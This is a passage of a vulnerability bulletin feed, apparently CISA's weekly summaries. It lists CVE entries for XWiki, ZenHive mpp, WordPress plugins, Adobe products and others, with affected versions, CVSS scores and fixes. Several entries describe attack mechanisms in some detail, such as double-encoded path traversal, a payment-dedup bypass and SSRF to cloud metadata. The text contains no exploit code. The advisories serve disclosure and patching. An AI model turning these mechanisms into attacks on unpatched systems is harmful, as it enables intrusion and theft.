&lt;td&gt;XWiki Platform is a generic wiki platform. Prior to 17.10.5 and 18.2.0, the /skin/ action in com.xpn.xwiki.web.SkinAction can resolve double-encoded parent-directory segments outside the intended skin or web-application resource prefix when Jetty 12 or later decodes the request path. The affected lookup is replaced with Environment.getResourceAsStream(String, String), which constrains a resource to its expected prefix. An unauthenticated remote attacker can use the vulnerable behavior to read arbitrary resources permitted to the Jetty process, including WEB-INF/xwiki.cfg and, depending on deployment depth and operating-system permissions, host files. Tomcat and Jetty versions before 12 do not appear affected. This issue is fixed in versions 17.10.5 and 18.2.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-34151&quot; target=&quot;_blank&quot;&gt;CVE-2026-34151&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;xwiki--xwiki-platform&lt;/td&gt;
&lt;td&gt;XWiki Platform is a generic wiki platform. From 13.4-rc-1 until 16.10.17, 17.4.10, 17.10.4, and 18.1.0-rc-1, the Live Data edit REST API allows a user who can edit a page to change that page&#039;s rights without executing the normal document-saving authorization checks. The user can grant script right and then execute potentially dangerous Velocity scripts or send unfiltered HTML and JavaScript to clients. The same missing checks can circumvent extension security controls implemented as listeners for UserUpdatingDocumentEvent and related user document events. This issue is fixed in versions 16.10.17, 17.4.10, 17.10.4, and 18.1.0-rc-1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-53966&quot; target=&quot;_blank&quot;&gt;CVE-2026-53966&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;YAMAP INC.--YAMAP -Social Trekking GPS App&lt;/td&gt;
&lt;td&gt;The Android application &quot;YAMAP -Social Trekking GPS App&quot; contains an improper access control vulnerability in its WebView implementation. The in-app browser may cause information leakage from the app or redirect users to unintended websites.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85125&quot; target=&quot;_blank&quot;&gt;CVE-2026-85125&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ZenHive--mpp&lt;/td&gt;
&lt;td&gt;Improper Validation of Unsafe Equivalence in Input in ZenHive mpp allows an unauthenticated remote client to pass the Tempo duplicate-submission gate twice with one signed transaction. MPP.Methods.Tempo reserves the pre-broadcast dedup slot on the caller-supplied hex in reserve_hash_atomic/2, keyed through store_key/1 on tx.raw rather than on a canonical form of the transaction. The deserializer stores the caller&#039;s hex verbatim and accepts both recovery-id encodings, so one signed transaction submitted once with v=27 and once with v=0 yields two distinct reserve keys, and both pass the reserve and reach the broadcast path. The plug-level credential replay store is deliberately carved out for tempo in lib/mpp/replay.ex, leaving this reserve as the only gate, and the post-broadcast mark writes the canonical hash key that the raw-keyed reserve never reads. What the duplicate submission yields depends on the node: a nonce-reuse rejection fails closed, while a node that answers with the canonical hash for an already-known transaction returns a second valid Payment-Receipt for a single on-chain payment. This issue affects mpp: from 0.2.0 before 0.16.2.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88255&quot; target=&quot;_blank&quot;&gt;CVE-2026-88255&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ZenHive--mpp&lt;/td&gt;
&lt;td&gt;Use of Cache Containing Sensitive Information in ZenHive mpp allows a shared HTTP cache to store a paid response and serve it to clients that never paid. MPP.Plug.verify_credential in lib/mpp/plug.ex sets payment-receipt and cache-control: private on the connection before the wrapped application runs, and registers no register_before_send/2 callback. Plug.Conn.put_resp_header/3 replaces an existing header, so a mounting application that sets its own cache-control on the paid resource (for example public, max-age=3600) silently overrides the private the library relies on, and a CDN or reverse proxy can then store the paid 200 together with its Payment-Receipt and serve both to unpaid clients. The library-level guarantee is therefore defeatable by the application it protects. For the same reason a downstream non-2xx response still carried Payment-Receipt, issuing a receipt for a response that delivered no resource. This issue affects mpp: from 0.1.0 before 0.16.2.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89186&quot; target=&quot;_blank&quot;&gt;CVE-2026-89186&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zenith Satellite Tracker--Zenith Satellite Tracker 1.0&lt;/td&gt;
&lt;td&gt;A Server-Side Request Forgery vulnerability exists in sat_proxy.php in Zenith Satellite Tracker 1.0. The script accepts an attacker-controlled address URL parameter and passes it to curl_setopt(CURLOPT_URL) without host or scheme validation. An unauthenticated remote attacker can leverage this to make arbitrary HTTP and HTTPS requests from the server to internal networks or cloud metadata services, potentially obtaining sensitive information or pivoting to further attacks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-56563&quot; target=&quot;_blank&quot;&gt;CVE-2025-56563&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;a href=&quot;#top&quot;&gt;Back to top&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</description>
  <pubDate>Mon, 21 Sep 2026 07:58:01 EDT</pubDate>
    <dc:creator>CISA</dc:creator>
    <guid isPermaLink="false">/node/25517</guid>
    </item>
<item>
  <title>Vulnerability Summary for the Week of September 7, 2026</title>
  <link>https://www.cisa.gov/news-events/bulletins/sb26-257</link>
  <description>&lt;div id=&quot;high_v&quot;&gt;
&lt;h2 id=&quot;high_v_title&quot;&gt;High Vulnerabilities&lt;/h2&gt;
&lt;table class=&quot;table table-style-align-center no-tablesaw&quot; style=&quot;table-layout:fixed;width:100%;&quot; border=&quot;1&quot; summary=&quot;High Vulnerabilities&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th class=&quot;vendor-product&quot; style=&quot;width:24%;&quot; scope=&quot;col&quot;&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Primary&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Vendor&lt;/span&gt; -- Product&lt;/th&gt;
&lt;th style=&quot;width:44%;&quot; scope=&quot;col&quot;&gt;Description&lt;/th&gt;
&lt;th style=&quot;width:10%;&quot; scope=&quot;col&quot;&gt;Published&lt;/th&gt;
&lt;th style=&quot;width:8%;&quot; scope=&quot;col&quot;&gt;CVSS Score&lt;/th&gt;
&lt;th style=&quot;width:7%;&quot; scope=&quot;col&quot;&gt;Source Info&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;100plugins--Open User Map&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Scripting (XSS) in Open User Map &amp;lt;= 1.4.50 versions.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84818&quot; target=&quot;_blank&quot;&gt;CVE-2026-84818&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;92181--markdown&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in 92181 markdown up to 058cab0cb7fb245a0ccc6b8446963ff8d573558f. Affected by this issue is the function lds of the file md.c. Executing a manipulation can lead to out-of-bounds read. The attack can be executed remotely. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. This patch is called c000d2f9cf390c315378d3717cf20911cf3e80a6. A patch should be applied to remediate this issue.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86303&quot; target=&quot;_blank&quot;&gt;CVE-2026-86303&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;acyba--AcyMailing An Ultimate Newsletter Plugin and Marketing Automation Solution for WordPress&lt;/td&gt;
&lt;td&gt;The AcyMailing - An Ultimate Newsletter Plugin and Marketing Automation Solution for WordPress plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 11.0.4 via the `user[name]` Parameter. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. Exploitation requires &quot;Embed images&quot; option in AcyMailing configuration being enabled.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77807&quot; target=&quot;_blank&quot;&gt;CVE-2026-77807&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;addonsorg--Drag and Drop File Upload for Elementor Forms&lt;/td&gt;
&lt;td&gt;The Drag and Drop File Upload for Elementor Forms plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 1.6.0 via the elementor_file_upload function. This is due to insufficient file type validation in the is_file_type_valid() function, which uses the attacker-controlled &#039;type&#039; parameter as regex keys in the MIME allowlist, allowing blacklist bypass via a crafted extension that sanitize_file_name() later normalizes to a PHP extension. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18351&quot; target=&quot;_blank&quot;&gt;CVE-2026-18351&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;addonsorg--Repeater Fields for Gravity Forms&lt;/td&gt;
&lt;td&gt;The Repeater Fields for Gravity Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Repeated Multi-Input Sub-Field Values in all versions up to, and including, 3.0.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This vulnerability only affects multi-input sub-field types within a repeater (such as Name, Address, and Checkbox fields), as scalar single-input field values are escaped with esc_html() at the output stage in version 3.0.4.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84293&quot; target=&quot;_blank&quot;&gt;CVE-2026-84293&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by an Improperly Controlled Modification of Object Prototype Attributes (&#039;Prototype Pollution&#039;) vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81994&quot; target=&quot;_blank&quot;&gt;CVE-2026-81994&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81996&quot; target=&quot;_blank&quot;&gt;CVE-2026-81996&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by a Double Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79907&quot; target=&quot;_blank&quot;&gt;CVE-2026-79907&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79908&quot; target=&quot;_blank&quot;&gt;CVE-2026-79908&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79909&quot; target=&quot;_blank&quot;&gt;CVE-2026-79909&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by an Access of Resource Using Incompatible Type (&#039;Type Confusion&#039;) vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80161&quot; target=&quot;_blank&quot;&gt;CVE-2026-80161&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81973&quot; target=&quot;_blank&quot;&gt;CVE-2026-81973&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81975&quot; target=&quot;_blank&quot;&gt;CVE-2026-81975&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81976&quot; target=&quot;_blank&quot;&gt;CVE-2026-81976&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81979&quot; target=&quot;_blank&quot;&gt;CVE-2026-81979&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81980&quot; target=&quot;_blank&quot;&gt;CVE-2026-81980&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81981&quot; target=&quot;_blank&quot;&gt;CVE-2026-81981&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81983&quot; target=&quot;_blank&quot;&gt;CVE-2026-81983&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81985&quot; target=&quot;_blank&quot;&gt;CVE-2026-81985&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81986&quot; target=&quot;_blank&quot;&gt;CVE-2026-81986&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81987&quot; target=&quot;_blank&quot;&gt;CVE-2026-81987&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81988&quot; target=&quot;_blank&quot;&gt;CVE-2026-81988&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81989&quot; target=&quot;_blank&quot;&gt;CVE-2026-81989&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81990&quot; target=&quot;_blank&quot;&gt;CVE-2026-81990&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Acrobat&lt;/td&gt;
&lt;td&gt;Acrobat Reader is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81992&quot; target=&quot;_blank&quot;&gt;CVE-2026-81992&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Animate 2023&lt;/td&gt;
&lt;td&gt;Animate is affected by an Improper Control of Generation of Code (&#039;Code Injection&#039;) vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76191&quot; target=&quot;_blank&quot;&gt;CVE-2026-76191&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Campaign Classic&lt;/td&gt;
&lt;td&gt;Adobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements used in an OS Command (&#039;OS Command Injection&#039;) vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82004&quot; target=&quot;_blank&quot;&gt;CVE-2026-82004&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Commerce&lt;/td&gt;
&lt;td&gt;Adobe Commerce is affected by an Improper Neutralization of Special Elements Used in a Template Engine vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75650&quot; target=&quot;_blank&quot;&gt;CVE-2026-75650&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Commerce&lt;/td&gt;
&lt;td&gt;Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim&#039;s account or session. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76200&quot; target=&quot;_blank&quot;&gt;CVE-2026-76200&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Commerce&lt;/td&gt;
&lt;td&gt;Adobe Commerce is affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an attacker to inject malicious scripts into vulnerable form fields. Malicious JavaScript may be executed in a victim&#039;s browser when they browse to the page containing the vulnerable field, potentially gaining elevated access or control over the victim&#039;s account or session. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76201&quot; target=&quot;_blank&quot;&gt;CVE-2026-76201&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Commerce&lt;/td&gt;
&lt;td&gt;Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain elevated access to sensitive information. Exploitation of this issue does not require user interaction.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76202&quot; target=&quot;_blank&quot;&gt;CVE-2026-76202&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Commerce&lt;/td&gt;
&lt;td&gt;Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain elevated access to restricted resources. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77109&quot; target=&quot;_blank&quot;&gt;CVE-2026-77109&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Commerce&lt;/td&gt;
&lt;td&gt;Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker with high privileges could leverage this vulnerability to bypass security measures and gain unauthorized write access, causing a limited disruption to availability. Exploitation of this issue does not require user interaction. Scope is changed.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
